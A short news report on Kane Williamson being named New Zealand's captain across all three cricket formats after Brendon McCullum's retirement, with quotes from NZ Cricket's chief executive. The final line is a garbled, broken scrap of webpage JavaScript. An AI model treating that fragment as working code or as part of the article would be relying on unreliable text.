Kane Williamson has been named as New Zealand's new captain across all three formats, following the retirement of Brendon McCullum in February.

Williamson, who was already the nation's one-day and Twenty20 captain, will become the country's 29th Test captain.

"Kane has been a leader within the team for a long time now and already shown himself to be an extremely capable captain," NZ cricket chief executive David White said.

"He's respected by his peers and the wider cricket community for his professional approach both on and off the field, and has a superb cricket brain.

"His drive to see the team succeed and his passion for the game are what you look for in a leader. He's ready for the role and will only continue to grow."

The 25-year-old has scored 4,037 Test runs at an average of 49.23 in 48 matches for New Zealand. "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}